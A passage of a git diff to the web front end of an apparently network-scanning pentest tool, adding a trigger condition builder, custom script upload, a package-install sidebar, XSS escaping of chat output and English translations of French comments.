.cond-group, +.cond-item-wrapper > .cond-block { flex: 1; min-width: 0; } + +.cond-block { + display: flex; + align-items: center; + gap: 6px; + padding: 6px 8px; + border: 1px solid var(--c-border); + border-radius: 4px; + background: var(--c-panel); + flex-wrap: wrap; +} + +.cond-source-select { + padding: 2px 6px; + border: 1px solid var(--c-border); + border-radius: 4px; + background: var(--bg); + color: var(--ink); + font-size: 11px; + min-width: 120px; +} + +.cond-params { + display: flex; + align-items: center; + gap: 6px; + flex-wrap: wrap; +} + +.cond-param-label { + display: flex; + align-items: center; + gap: 3px; + font-size: 11px; + color: var(--muted); +} + +.cond-param-name { white-space: nowrap; } + +.cond-param-input { + padding: 2px 6px; + border: 1px solid var(--c-border); + border-radius: 3px; + background: var(--bg); + color: var(--ink); + font-size: 11px; + width: 80px; +} +.cond-param-input[type="number"] { width: 60px; } +select.cond-param-input { width: auto; min-width: 60px; } + +.cond-delete-btn { + flex-shrink: 0; + width: 20px; + height: 20px; + padding: 0; + border: none; + border-radius: 3px; + background: transparent; + color: var(--muted); + font-size: 14px; + cursor: pointer; + line-height: 1; + display: flex; + align-items: center; + justify-content: center; +} +.cond-delete-btn:hover { color: #ef4444; background: rgba(239,68,68,.12); } + +.cond-group-actions { + display: flex; + gap: 6px; + margin-top: 6px; +} + +.cond-add-btn { + padding: 2px 10px; + border: 1px dashed var(--c-border); + border-radius: 4px; + background: transparent; + color: var(--muted); + font-size: 11px; + cursor: pointer; +} +.cond-add-btn:hover { color: var(--acid); border-color: var(--acid); } + +/* ===== Package Manager (actions page sidebar) ===== */ + +.pkg-list { list-style: none; padding: 0; margin: 0; } +.pkg-item { + display: flex; + align-items: center; + justify-content: space-between; + padding: 6px 0; + border-bottom: 1px solid color-mix(in oklab, var(--c-border) 40%, transparent); + font-size: 12px; +} +.pkg-item:last-child { border-bottom: none; } +.pkg-name { font-weight: 600; color: var(--ink); } +.pkg-version { color: var(--muted); font-size: 11px; margin-left: 6px; } +.pkg-uninstall-btn { + padding: 2px 8px; + border: 1px solid var(--c-border); + border-radius: 3px; + background: transparent; + color: var(--muted); + font-size: 10px; + cursor: pointer; +} +.pkg-uninstall-btn:hover { color: #ef4444; border-color: #ef4444; } + +.pkg-install-form { + display: flex; + gap: 6px; + margin-bottom: 10px; +} +.pkg-install-input { + flex: 1; + padding: 4px 8px; + border: 1px solid var(--c-border); + border-radius: 4px; + background: var(--bg); + color: var(--ink); + font-size: 12px; +} +.pkg-install-btn { + padding: 4px 12px; + border: 1px solid var(--acid); + border-radius: 4px; + background: color-mix(in oklab, var(--acid) 15%, transparent); + color: var(--acid); + font-size: 12px; + font-weight: 600; + cursor: pointer; +} +.pkg-install-btn:hover { background: color-mix(in oklab, var(--acid) 25%, transparent); } + +.pkg-console { + max-height: 200px; + overflow-y: auto; + padding: 6px 8px; + border: 1px solid var(--c-border); + border-radius: 4px; + background: var(--bg); + font-family: var(--font-mono); + font-size: 10px; + color: var(--muted); + margin-top: 8px; + display: none; + white-space: pre-wrap; + word-break: break-all; +} +.pkg-console.active { display: block; } + @media (max-width: 900px) { .page-with-sidebar { min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 12px); diff --git a/web/css/shell.css b/web/css/shell.css index 1b27316..9979e5c 100644 --- a/web/css/shell.css +++ b/web/css/shell.css @@ -257,18 +257,18 @@ body.console-docked .app-container { #bjornSay { white-space: normal; - /* autorise le retour à la ligne */ + /* allow word wrapping */ word-break: break-word; line-height: 1.25; display: flex; align-items: center; - /* centre verticalement dans la bottombar */ + /* vertically center in the bottombar */ height: 100%; text-align: right; max-width: 240px; - /* évite qu’il déborde vers le centre */ + /* prevent overflow toward center */ } /* ---- Console panel (matches old global.css console) ---- */ diff --git a/web/js/app.js b/web/js/app.js index 59ec0c9..bb93684 100644 --- a/web/js/app.js +++ b/web/js/app.js @@ -65,6 +65,7 @@ function bootUI() { router.route('/bjorn', () => import('./pages/bjorn.js')); router.route('/llm-chat', () => import('./pages/llm-chat.js')); router.route('/llm-config', () => import('./pages/llm-config.js')); + router.route('/plugins', () => import('./pages/plugins.js')); // 404 fallback router.setNotFound((container, path) => { @@ -150,7 +151,7 @@ function ensureBjornProgress() { const host = document.querySelector('.status-left .status-text'); if (!host) return; - if (document.getElementById('bjornProgress')) return; // déjà là + if (document.getElementById('bjornProgress')) return; const progress = el('div', { id: 'bjornProgress', @@ -165,7 +166,7 @@ function ensureBjornProgress() { } function startGlobalPollers() { - // Status (Toutes les 6s) + // Status poll (every 6s) const statusPoller = new Poller(async () => { try { const data = await api.get('/bjorn_status', { timeout: 5000, retries: 0 }); @@ -208,7 +209,7 @@ function startGlobalPollers() { } catch (e) { } }, 6000); - // Character (Toutes les 10s - C'est suffisant pour une icône) + // Character icon poll (every 10s) const charPoller = new Poller(async () => { try { const imgEl = $('#bjorncharacter'); @@ -221,7 +222,7 @@ function startGlobalPollers() { } catch (e) { } }, 10000); - // Say (Toutes les 8s) + // Say text poll (every 8s) const sayPoller = new Poller(async () => { try { const data = await api.get('/bjorn_say', { timeout: 5000, retries: 0 }); @@ -263,7 +264,7 @@ function wireTopbar() { } /* ========================================= - * Liveview dropdown (BÉTON EDITION) + * Liveview dropdown * Uses recursive setTimeout to prevent thread stacking * ========================================= */ @@ -279,19 +280,19 @@ function wireLiveview() { const liveImg = $('#screenImage_Home', dropdown); let timer = null; - const LIVE_DELAY = 4000; // On passe à 4s pour matcher display.py + const LIVE_DELAY = 4000; // 4s to match display.py refresh rate function updateLive() { - if (dropdown.style.display !== 'block') return; // Stop si caché + if (dropdown.style.display !== 'block') return; // stop if hidden const n = new Image(); n.onload = () => { liveImg.src = n.src; - // On ne planifie la suivante QUE quand celle-ci est affichée + // Schedule next frame only after current one is rendered timer = setTimeout(updateLive, LIVE_DELAY); }; n.onerror = () => { - // En cas d'erreur, on attend un peu avant de réessayer + // On error, wait longer before retrying timer = setTimeout(updateLive, LIVE_DELAY * 2); }; n.src = '/web/screen.png?t=' + Date.now(); @@ -420,6 +421,7 @@ const PAGES = [ { path: '/bjorn-debug', icon: 'database.png', label: 'Bjorn Debug' }, { path: '/llm-chat', icon: 'ai.png', label: 'nav.llm_chat' }, { path: '/llm-config', icon: 'ai_dashboard.png', label: 'nav.llm_config' }, + { path: '/plugins', icon: 'actions_launcher.png', label: 'nav.plugins' }, ]; function wireLauncher() { diff --git a/web/js/core/condition-builder.js b/web/js/core/condition-builder.js new file mode 100644 index 0000000..e166656 --- /dev/null +++ b/web/js/core/condition-builder.js @@ -0,0 +1,280 @@ +/** + * condition-builder.js - Visual block-based condition editor for triggers. + * Produces/consumes JSON condition trees with AND/OR groups + leaf conditions. + */ +import { el, empty } from './dom.js'; + +// Condition source definitions (drives the parameter UI) +const SOURCES = { + action_result: { + label: 'Action Result', + params: [ + { key: 'action', type: 'text', placeholder: 'e.g. scanning', label: 'Action' }, + { key: 'check', type: 'select', choices: ['eq', 'neq'], label: 'Check' }, + { key: 'value', type: 'select', choices: ['success', 'failed'], label: 'Value' }, + ], + }, + hosts_with_port: { + label: 'Hosts with Port', + params: [ + { key: 'port', type: 'number', placeholder: '22', label: 'Port' }, + { key: 'check', type: 'select', choices: ['gt', 'lt', 'eq', 'gte', 'lte'], label: 'Op' }, + { key: 'value', type: 'number', placeholder: '0', label: 'Count' }, + ], + }, + hosts_alive: { + label: 'Hosts Alive', + params: [ + { key: 'check', type: 'select', choices: ['gt', 'lt', 'eq', 'gte', 'lte'], label: 'Op' }, + { key: 'value', type: 'number', placeholder: '0', label: 'Count' }, + ], + }, + cred_found: { + label: 'Credentials Found', + params: [ + { key: 'service', type: 'text', placeholder: 'e.g. ssh, ftp', label: 'Service' }, + ], + }, + has_vuln: { + label: 'Has Vulnerabilities', + params: [], + }, + db_count: { + label: 'DB Row Count', + params: [ + { key: 'table', type: 'select', choices: ['hosts', 'creds', 'vulnerabilities', 'services'], label: 'Table' }, + { key: 'check', type: 'select', choices: ['gt', 'lt', 'eq', 'gte', 'lte'], label: 'Op' }, + { key: 'value', type: 'number', placeholder: '0', label: 'Count' }, + ], + }, + time_after: { + label: 'Time After', + params: [ + { key: 'hour', type: 'number', placeholder: '9', label: 'Hour (0-23)', min: 0, max: 23 }, + { key: 'minute', type: 'number', placeholder: '0', label: 'Minute (0-59)', min: 0, max: 59 }, + ], + }, + time_before: { + label: 'Time Before', + params: [ + { key: 'hour', type: 'number', placeholder: '18', label: 'Hour (0-23)', min: 0, max: 23 }, + { key: 'minute', type: 'number', placeholder: '0', label: 'Minute (0-59)', min: 0, max: 59 }, + ], + }, +}; + +/** + * Build a condition editor inside a container element. + * @param {HTMLElement} container - DOM element to render into + * @param {object|null} initial - Initial condition JSON tree (null = empty AND group) + */ +export function buildConditionEditor(container, initial = null) { + empty(container); + container.classList.add('cond-editor'); + const root = initial || { type: 'group', op: 'AND', children: [] }; + container.appendChild(_renderNode(root)); +} + +/** + * Read the current condition tree from the DOM. + * @param {HTMLElement} container - The editor container + * @returns {object} JSON condition tree + */ +export function getConditions(container) { + const rootEl = container.querySelector('.cond-group, .cond-block'); + if (!rootEl) return null; + return _readNode(rootEl); +} + +// --- Internal rendering --- + +function _renderNode(node) { + if (node.type === 'group') return _renderGroup(node); + return _renderCondition(node); +} + +function _renderGroup(node) { + const op = (node.op || 'AND').toUpperCase(); + const childContainer = el('div', { class: 'cond-children' }); + + // Render existing children + (node.children || []).forEach(child => { + childContainer.appendChild(_wrapDeletable(_renderNode(child))); + }); + + const opToggle = el('select', { class: 'cond-op-toggle', 'data-op': op }, [ + el('option', { value: 'AND', selected: op === 'AND' ? '' : null }, ['AND']), + el('option', { value: 'OR', selected: op === 'OR' ? '' : null }, ['OR']), + ]); + opToggle.value = op; + opToggle.addEventListener('change', () => { + group.dataset.op = opToggle.value; + group.classList.toggle('cond-group-or', opToggle.value === 'OR'); + group.classList.toggle('cond-group-and', opToggle.value === 'AND'); + }); + + const addCondBtn = el('button', { + class: 'cond-add-btn', + type: 'button', + onClick: () => { + const newCond = { type: 'condition', source: 'action_result', action: '', check: 'eq', value: 'success' }; + childContainer.appendChild(_wrapDeletable(_renderCondition(newCond))); + }, + }, ['+ Condition']); + + const addGroupBtn = el('button', { + class: 'cond-add-btn cond-add-group-btn', + type: 'button', + onClick: () => { + const newGroup = { type: 'group', op: 'AND', children: [] }; + childContainer.appendChild(_wrapDeletable(_renderGroup(newGroup))); + }, + }, ['+ Group']); + + const group = el('div', { + class: `cond-group cond-group-${op.toLowerCase()}`, + 'data-type': 'group', + 'data-op': op, + }, [ + el('div', { class: 'cond-group-header' }, [opToggle]), + childContainer, + el('div', { class: 'cond-group-actions' }, [addCondBtn, addGroupBtn]), + ]); + + return group; +} + +function _renderCondition(node) { + const source = node.source || 'action_result'; + const paramsContainer = el('div', { class: 'cond-params' }); + + const sourceSelect = el('select', { class: 'cond-source-select' }); + Object.entries(SOURCES).forEach(([key, def]) => { + const opt = el('option', { value: key, selected: key === source ? '' : null }, [def.label]); + sourceSelect.appendChild(opt); + }); + sourceSelect.value = source; + + // Build params for current source + _buildParams(paramsContainer, source, node); + + sourceSelect.addEventListener('change', () => { + const newSource = sourceSelect.value; + block.dataset.source = newSource; + _buildParams(paramsContainer, newSource, {}); + }); + + const block = el('div', { + class: 'cond-block', + 'data-type': 'condition', + 'data-source': source, + }, [sourceSelect, paramsContainer]); + + return block; +} + +function _buildParams(container, source, data) { + empty(container); + const def = SOURCES[source]; + if (!def) return; + + def.params.forEach(p => { + const val = data[p.key] !== undefined ? data[p.key] : (p.placeholder || ''); + let input; + + if (p.type === 'select') { + input = el('select', { class: 'cond-param-input', 'data-key': p.key }); + (p.choices || []).forEach(c => { + const opt = el('option', { value: c, selected: String(c) === String(data[p.key] || '') ? '' : null }, [c]); + input.appendChild(opt); + }); + if (data[p.key] !== undefined) input.value = String(data[p.key]); + } else if (p.type === 'number') { + input = el('input', { + type: 'number', + class: 'cond-param-input', + 'data-key': p.key, + value: data[p.key] !== undefined ? String(data[p.key]) : '', + placeholder: p.placeholder || '', + min: p.min !== undefined ? String(p.min) : undefined, + max: p.max !== undefined ? String(p.max) : undefined, + }); + } else { + input = el('input', { + type: 'text', + class: 'cond-param-input', + 'data-key': p.key, + value: data[p.key] !== undefined ? String(data[p.key]) : '', + placeholder: p.placeholder || '', + }); + } + + container.appendChild( + el('label', { class: 'cond-param-label' }, [ + el('span', { class: 'cond-param-name' }, [p.label]), + input, + ]) + ); + }); +} + +function _wrapDeletable(nodeEl) { + const wrapper = el('div', { class: 'cond-item-wrapper' }, [ + nodeEl, + el('button', { + class: 'cond-delete-btn', + type: 'button', + title: 'Remove', + onClick: () => wrapper.remove(), + }, ['\u00d7']), + ]); + return wrapper; +} + +// --- Read DOM -> JSON --- + +function _readNode(nodeEl) { + const type = nodeEl.dataset.type; + if (type === 'group') return _readGroup(nodeEl); + if (type === 'condition') return _readCondition(nodeEl); + + // Check if it's a wrapper + const inner = nodeEl.querySelector('.cond-group, .cond-block'); + if (inner) return _readNode(inner); + return null; +} + +function _readGroup(groupEl) { + const op = groupEl.dataset.op || 'AND'; + const children = []; + const childrenContainer = groupEl.querySelector('.cond-children'); + if (childrenContainer) { + for (const wrapper of childrenContainer.children) { + const inner = wrapper.querySelector('.cond-group, .cond-block'); + if (inner) { + const child = _readNode(inner); + if (child) children.push(child); + } + } + } + return { type: 'group', op: op.toUpperCase(), children }; +} + +function _readCondition(blockEl) { + const source = blockEl.dataset.source || 'action_result'; + const result = { type: 'condition', source }; + + const inputs = blockEl.querySelectorAll('.cond-param-input'); + inputs.forEach(input => { + const key = input.dataset.key; + if (!key) return; + let val = input.value; + // Auto-cast numbers + if (input.type === 'number' && val !== '') { + val = Number(val); + } + result[key] = val; + }); + + return result; +} diff --git a/web/js/core/console-sse.js b/web/js/core/console-sse.js index d351eb9..29c7854 100644 --- a/web/js/core/console-sse.js +++ b/web/js/core/console-sse.js @@ -7,7 +7,7 @@ * @module core/console-sse */ -import { $, el, toast } from './dom.js'; +import { $, el, toast, escapeHtml } from './dom.js'; import { api } from './api.js'; import { t } from './i18n.js'; @@ -47,6 +47,7 @@ const HEALTHY_THRESHOLD = 5; // messages needed before resetting reconnect coun let isUserScrolling = false; let autoScroll = true; let lineBuffer = []; // lines held while user is scrolled up +const MAX_BUFFER_LINES = 500; // cap buffer to prevent unbounded memory growth let isDocked = false; let consoleMode = 'log'; // 'log' | 'bubble' const CONSOLE_SESSION_ID = 'console'; @@ -435,6 +436,10 @@ function connectSSE() { const html = processLogLine(raw); if (isUserScrolling && !autoScroll) { lineBuffer.push(html); + // Evict oldest lines if buffer exceeds max + if (lineBuffer.length > MAX_BUFFER_LINES) { + lineBuffer = lineBuffer.slice(-MAX_BUFFER_LINES); + } updateBufferBadge(); } else { appendLogHtml(html); @@ -660,8 +665,10 @@ async function loadManualTargets() { if (currentIp && ips.includes(currentIp)) elSelIp.value = currentIp; } + const customActions = Array.isArray(data?.custom_actions) ? data.custom_actions : []; + elSelAction.innerHTML = ''; - if (!actions.length) { + if (!actions.length && !customActions.length) { const op = document.createElement('option'); op.value = ''; op.textContent = t('console.noAction'); @@ -673,7 +680,20 @@ async function loadManualTargets() { op.textContent = String(action); elSelAction.appendChild(op); } - if (currentAction && actions.includes(currentAction)) elSelAction.value = currentAction; + if (customActions.length) { + const grp = document.createElement('optgroup'); + grp.label = 'Custom Scripts'; + for (const action of customActions) { + const op = document.createElement('option'); + op.value = String(action); + op.textContent = String(action); + grp.appendChild(op); + } + elSelAction.appendChild(grp); + } + if (currentAction && (actions.includes(currentAction) || customActions.includes(currentAction))) { + elSelAction.value = currentAction; + } } updatePortsForSelectedIp(portsByIp); @@ -1090,26 +1110,29 @@ async function sendConsoleChat(inputEl) { if (!msg) return; inputEl.value = ''; - // Show user message in console + // Show user message in console (escape to prevent XSS) + const safeMsg = escapeHtml(msg); if (consoleMode === 'bubble') { - appendLogHtml(`
${msg}
`); + appendLogHtml(`
${safeMsg}
`); } else { - appendLogHtml(`YOU ${msg}`); + appendLogHtml(`YOU ${safeMsg}`); } // Call LLM try { const data = await api.post('/api/llm/chat', { message: msg, session_id: CONSOLE_SESSION_ID }); if (data?.status === 'ok' && data.response) { + // Escape LLM response to prevent stored XSS via prompt injection + const safeResp = escapeHtml(data.response); if (consoleMode === 'bubble') { - appendLogHtml(`
${data.response}
`); + appendLogHtml(`
${safeResp}
`); } else { - appendLogHtml(`LLMBJORN ${data.response}`); + appendLogHtml(`LLMBJORN ${safeResp}`); } } else { - appendLogHtml(`Chat error: ${data?.message || 'unknown'}`); + appendLogHtml(`Chat error: ${escapeHtml(data?.message || 'unknown')}`); } } catch (e) { - appendLogHtml(`Chat error: ${e.message}`); + appendLogHtml(`Chat error: ${escapeHtml(e.message)}`); } } diff --git a/web/js/pages/actions-studio-runtime.js b/web/js/pages/actions-studio-runtime.js index 1c05629..6c3944a 100644 --- a/web/js/pages/actions-studio-runtime.js +++ b/web/js/pages/actions-studio-runtime.js @@ -107,7 +107,7 @@ async function fetchActions(){ const r = await fetch(`${API_BASE}/studio/actions_studio`); if(!r.ok) throw 0; const j = await r.json(); return Array.isArray(j)?j:(j.data||[]); }catch{ - // Fallback de démo + // Demo fallback data return [ { b_class:'NetworkScanner', b_module:'network_scanner', b_action:'global', b_trigger:'on_interval:600', b_priority:10, b_enabled:1, b_icon:'NetworkScanner.png' }, { b_class:'SSHbruteforce', b_module:'ssh_bruteforce', b_trigger:'on_new_port:22', b_priority:70, b_enabled:1, b_port:22, b_service:'["ssh"]', b_icon:'SSHbruteforce.png' }, @@ -736,11 +736,11 @@ function evaluateHostToAction(link){ return {ok,label:link.label|| (link.mode==='trigger'?'trigger':'requires')}; } -// remplace complètement la fonction existante +// Repel overlapping nodes while keeping hosts pinned to their column function repelLayout(iter = 16, str = 0.6) { - const HOST_X = 80; // X fixe pour la colonne des hosts (même valeur que l’autolayout) - const TOP_Y = 60; // Y de départ de la colonne - const V_GAP = 160; // espacement vertical entre hosts + const HOST_X = 80; // Fixed X for host column (matches autoLayout) + const TOP_Y = 60; // Column start Y + const V_GAP = 160; // Vertical gap between hosts const ids = [...state.nodes.keys()]; const boxes = ids.map(id => { @@ -757,7 +757,7 @@ function repelLayout(iter = 16, str = 0.6) { if (boxes.length < 2) { LinkEngine.render(); return; } - // répulsion douce en évitant de bouger les hosts en X + // Soft repulsion — hosts are locked on the X axis for (let it = 0; it < iter; it++) { for (let i = 0; i < boxes.length; i++) { for (let j = i + 1; j < boxes.length; j++) { @@ -769,16 +769,16 @@ function repelLayout(iter = 16, str = 0.6) { const pushX = (ox/2) * str * Math.sign(dx || (Math.random() - .5)); const pushY = (oy/2) * str * Math.sign(dy || (Math.random() - .5)); - // Sur l’axe X, on NE BOUGE PAS les hosts + // Hosts stay pinned on X axis const aCanX = a.type !== 'host'; const bCanX = b.type !== 'host'; - if (ox > oy) { // pousser surtout en X + if (ox > oy) { // push mainly on X if (aCanX && bCanX) { a.x -= pushX; a.cx -= pushX; b.x += pushX; b.cx += pushX; } else if (aCanX) { a.x -= 2*pushX; a.cx -= 2*pushX; } else if (bCanX) { b.x += 2*pushX; b.cx += 2*pushX; } - // sinon (deux hosts) : on ne touche pas l’axe X - } else { // pousser surtout en Y (hosts OK en Y) + // both hosts — don’t move X + } else { // push mainly on Y (hosts can move vertically) a.y -= pushY; a.cy -= pushY; b.y += pushY; b.cy += pushY; } @@ -787,11 +787,11 @@ function repelLayout(iter = 16, str = 0.6) { } } - // Snap final : hosts parfaitement en colonne et espacés régulièrement + // Final snap: align hosts into a uniform vertical column const hosts = boxes.filter(b => b.type === 'host').sort((u, v) => u.y - v.y); hosts.forEach((b, i) => { b.x = HOST_X; b.cx = b.x + b.w/2; b.y = TOP_Y + i * V_GAP; b.cy = b.y + b.h/2; }); - // appliquer positions au DOM + state + // Apply positions to DOM + state boxes.forEach(b => { const n = state.nodes.get(b.id); const el = document.querySelector(`[data-id="${b.id}"]`); @@ -802,15 +802,15 @@ function repelLayout(iter = 16, str = 0.6) { LinkEngine.render(); } -/* ===== Auto-layout: hosts en colonne verticale (X constant), actions à droite ===== */ +/* ===== Auto-layout: hosts in vertical column (fixed X), actions to the right ===== */ function autoLayout(){ const col = new Map(); // id -> column const set=(id,c)=>col.set(id, Math.max(c, col.get(id)??-Infinity)); - // Colonne 0 = HOSTS + // Column 0 = HOSTS state.nodes.forEach((n,id)=>{ if(n.type==='host') set(id,0); }); - // Colonnes suivantes = actions (en fonction des dépendances action->action) + // Subsequent columns = actions (based on action->action dependencies) const edges=[]; state.links.forEach(l=>{ const A=state.nodes.get(l.from), B=state.nodes.get(l.to); @@ -831,7 +831,7 @@ function autoLayout(){ if(up.length===0) return 0; return up.reduce((s,p)=> s + (state.nodes.get(p).y||0),0)/up.length; }; - // tri : hosts triés par hostname/IP/MAC pour une colonne bien lisible + // Sort hosts by hostname/IP/MAC for readable column ordering ids.sort((a,b)=>{ if(c===0){ const na=state.nodes.get(a), nb=state.nodes.get(b); @@ -847,8 +847,8 @@ function autoLayout(){ el.style.left=n.x+'px'; el.style.top=n.y+'px'; }); }); - // à la fin d'autoLayout(): - repelLayout(6, 0.4); // applique aussi le snap vertical des hosts + // Post-layout: repel overlaps + snap hosts vertically + repelLayout(6, 0.4); toast(t('studio.autoLayoutApplied'),'success'); } @@ -1381,7 +1381,7 @@ function isHostRuleInRequires(req){ function importActionsForHostsAndDeps(){ const aliveHosts=[...state.hosts.values()].filter(h=>parseInt(h.alive)==1); - // 1) actions liées aux hôtes (triggers/requires) => placer + lier + // 1) Place actions linked to hosts via triggers/requires and create edges for(const a of state.actions.values()){ const matches = aliveHosts.filter(h=> hostMatchesActionByTriggers(a,h) || (isHostRuleInRequires(a.b_requires) && checkHostRequires(a.b_requires,h)) ); if(matches.length===0) continue; @@ -1393,7 +1393,7 @@ function importActionsForHostsAndDeps(){ } } - // 2) dépendances entre actions (on_success/on_failure + requires action) + // 2) Inter-action dependencies (on_success/on_failure + requires action) state.nodes.forEach((nA,idA)=>{ if(nA.type!=='action') return; const a=nA.data; @@ -1413,14 +1413,12 @@ async function init(){ const actions=await fetchActions(); const hosts=await fetchHosts(); actions.forEach(a=>state.actions.set(a.b_class,a)); hosts.forEach(h=>state.hosts.set(h.mac_address,h)); - // >>> plus de BJORN ni NetworkScanner auto-placés - - // 1) Tous les hosts ALIVE sont importés (vertical) + // 1) Import all ALIVE hosts (vertical column) placeAllAliveHosts(); buildPalette(); buildHostPalette(); - // 2) Auto-import des actions dont trigger/require matchent les hôtes + liens + // 2) Auto-import actions whose triggers/requires match placed hosts + create links importActionsForHostsAndDeps(); // 3) Layout + rendu diff --git a/web/js/pages/actions.js b/web/js/pages/actions.js index ca41abe..964dc48 100644 --- a/web/js/pages/actions.js +++ b/web/js/pages/actions.js @@ -83,6 +83,7 @@ function buildShell() { const sideTabs = el('div', { class: 'tabs-container' }, [ el('button', { class: 'tab-btn active', id: 'tabBtnActions', type: 'button' }, [t('actions.tabs.actions')]), el('button', { class: 'tab-btn', id: 'tabBtnArgs', type: 'button' }, [t('actions.tabs.arguments')]), + el('button', { class: 'tab-btn', id: 'tabBtnPkgs', type: 'button' }, ['Packages']), ]); const sideHeader = el('div', { class: 'sideheader' }, [ @@ -122,7 +123,16 @@ function buildShell() { el('div', { id: 'presetChips', class: 'chips' }), ]); - const sideContent = el('div', { class: 'sidecontent' }, [actionsSidebar, argsSidebar]); + const pkgsSidebar = el('div', { id: 'tab-packages', class: 'sidebar-page', style: 'display:none' }, [ + el('div', { class: 'pkg-install-form' }, [ + el('input', { type: 'text', class: 'pkg-install-input', placeholder: 'Package name (e.g. requests)', id: 'pkgNameInput' }), + el('button', { class: 'pkg-install-btn', type: 'button' }, ['Install']), + ]), + el('div', { class: 'pkg-console', id: 'pkgConsole' }), + el('ul', { class: 'pkg-list', id: 'pkgList' }), + ]); + + const sideContent = el('div', { class: 'sidecontent' }, [actionsSidebar, argsSidebar, pkgsSidebar]); const sidebarPanel = el('aside', { class: 'panel al-sidebar' }, [sideHeader, sideContent]); @@ -149,11 +159,27 @@ function buildShell() { } function bindStaticEvents() { + // Hidden file input for custom script uploads + const fileInput = el('input', { type: 'file', accept: '.py', id: 'customScriptFileInput', style: 'display:none' }); + root.appendChild(fileInput); + tracker.trackEventListener(fileInput, 'change', () => { + const file = fileInput.files?.[0]; + if (file) { + uploadCustomScript(file); + fileInput.value = ''; + } + }); + const tabActions = q('#tabBtnActions'); const tabArgs = q('#tabBtnArgs'); + const tabPkgs = q('#tabBtnPkgs'); if (tabActions) tracker.trackEventListener(tabActions, 'click', () => switchTab('actions')); if (tabArgs) tracker.trackEventListener(tabArgs, 'click', () => switchTab('arguments')); + if (tabPkgs) tracker.trackEventListener(tabPkgs, 'click', () => switchTab('packages')); + + const pkgInstallBtn = q('.pkg-install-btn'); + if (pkgInstallBtn) tracker.trackEventListener(pkgInstallBtn, 'click', () => installPackage()); const searchInput = q('#searchInput'); if (searchInput) { @@ -190,13 +216,19 @@ function switchTab(tab) { currentTab = tab; const tabActions = q('#tabBtnActions'); const tabArgs = q('#tabBtnArgs'); + const tabPkgs = q('#tabBtnPkgs'); const actionsPane = q('#tab-actions'); const argsPane = q('#tab-arguments'); + const pkgsPane = q('#tab-packages'); if (tabActions) tabActions.classList.toggle('active', tab === 'actions'); if (tabArgs) tabArgs.classList.toggle('active', tab === 'arguments'); + if (tabPkgs) tabPkgs.classList.toggle('active', tab === 'packages'); if (actionsPane) actionsPane.style.display = tab === 'actions' ? '' : 'none'; if (argsPane) argsPane.style.display = tab === 'arguments' ? '' : 'none'; + if (pkgsPane) pkgsPane.style.display = tab === 'packages' ? '' : 'none'; + + if (tab === 'packages') loadPackages(); } function enforceMobileOnePane() { @@ -275,6 +307,8 @@ function normalizeAction(raw) { path: raw.path || raw.module_path || raw.b_module || id, is_running: !!raw.is_running, status: raw.is_running ? 'running' : 'ready', + isCustom: !!raw.is_custom, + scriptFormat: raw.script_format || 'bjorn', }; } @@ -294,32 +328,116 @@ function renderActionsList() { return; } - for (const a of filtered) { - const row = el('div', { class: `al-row${a.id === activeActionId ? ' selected' : ''}`, draggable: 'true', 'data-action-id': a.id }, [ - el('div', { class: 'ic' }, [ - el('img', { - class: 'ic-img', - src: a.icon, - alt: '', - onerror: (e) => { - e.target.onerror = null; - e.target.src = '/actions/actions_icons/default.png'; - }, - }), - ]), - el('div', {}, [ - el('div', { class: 'name' }, [a.name]), - el('div', { class: 'desc' }, [a.description]), - ]), - el('div', { class: `chip ${statusChipClass(a.status)}` }, [statusChipText(a.status)]), - ]); + const builtIn = filtered.filter((a) => a.category !== 'custom'); + const custom = filtered.filter((a) => a.category === 'custom'); - tracker.trackEventListener(row, 'click', () => onActionSelected(a.id)); - tracker.trackEventListener(row, 'dragstart', (ev) => { - ev.dataTransfer?.setData('text/plain', a.id); + for (const a of builtIn) { + container.appendChild(buildActionRow(a)); + } + + // Custom Scripts section + const sectionHeader = el('div', { class: 'al-section-divider' }, [ + el('span', { class: 'al-section-title' }, ['Custom Scripts']), + el('button', { class: 'al-btn al-upload-btn', type: 'button' }, ['\u2B06 Upload']), + ]); + + const uploadBtn = sectionHeader.querySelector('.al-upload-btn'); + if (uploadBtn) { + tracker.trackEventListener(uploadBtn, 'click', () => { + const fileInput = q('#customScriptFileInput'); + if (fileInput) fileInput.click(); }); + } - container.appendChild(row); + container.appendChild(sectionHeader); + + if (!custom.length) { + container.appendChild(el('div', { class: 'sub', style: 'padding:6px 12px' }, ['No custom scripts uploaded.'])); + } + + for (const a of custom) { + container.appendChild(buildActionRow(a, true)); + } +} + +function buildActionRow(a, isCustom = false) { + const badges = []; + if (isCustom) { + badges.push(el('span', { class: 'chip format-badge' }, [a.scriptFormat])); + } + + const infoBlock = el('div', {}, [ + el('div', { class: 'name' }, [a.name]), + el('div', { class: 'desc' }, [a.description]), + ]); + + const rowChildren = [ + el('div', { class: 'ic' }, [ + el('img', { + class: 'ic-img', + src: a.icon, + alt: '', + onerror: (e) => { + e.target.onerror = null; + e.target.src = '/actions/actions_icons/default.png'; + }, + }), + ]), + infoBlock, + ...badges, + el('div', { class: `chip ${statusChipClass(a.status)}` }, [statusChipText(a.status)]), + ]; + + if (isCustom) { + const deleteBtn = el('button', { class: 'al-btn al-delete-btn', type: 'button', title: 'Delete script' }, ['\uD83D\uDDD1']); + tracker.trackEventListener(deleteBtn, 'click', (ev) => { + ev.stopPropagation(); + deleteCustomScript(a.bClass); + }); + rowChildren.push(deleteBtn); + } + + const row = el('div', { class: `al-row${a.id === activeActionId ? ' selected' : ''}`, draggable: 'true', 'data-action-id': a.id }, rowChildren); + + tracker.trackEventListener(row, 'click', () => onActionSelected(a.id)); + tracker.trackEventListener(row, 'dragstart', (ev) => { + ev.dataTransfer?.setData('text/plain', a.id); + }); + + return row; +} + +async function uploadCustomScript(file) { + const formData = new FormData(); + formData.append('script_file', file); + try { + const resp = await fetch('/upload_custom_script', { method: 'POST', body: formData }); + const data = await resp.json(); + if (data.status === 'success') { + toast('Custom script uploaded', 1800, 'success'); + await loadActions(); + renderActionsList(); + } else { + toast(`Upload failed: ${data.message || 'Unknown error'}`, 2600, 'error'); + } + } catch (err) { + toast(`Upload error: ${err.message}`, 2600, 'error'); + } +} + +async function deleteCustomScript(bClass) { + if (!confirm(`Delete custom script "${bClass}"?`)) return; + try { + const resp = await api.post('/delete_custom_script', { script_name: bClass }); + if (resp.status === 'success') { + toast('Custom script deleted', 1800, 'success'); + await loadActions(); + renderActionsList(); + } else { + toast(`Delete failed: ${resp.message || 'Unknown error'}`, 2600, 'error'); + } + } catch (err) { + toast(`Delete error: ${err.message}`, 2600, 'error'); } } @@ -814,3 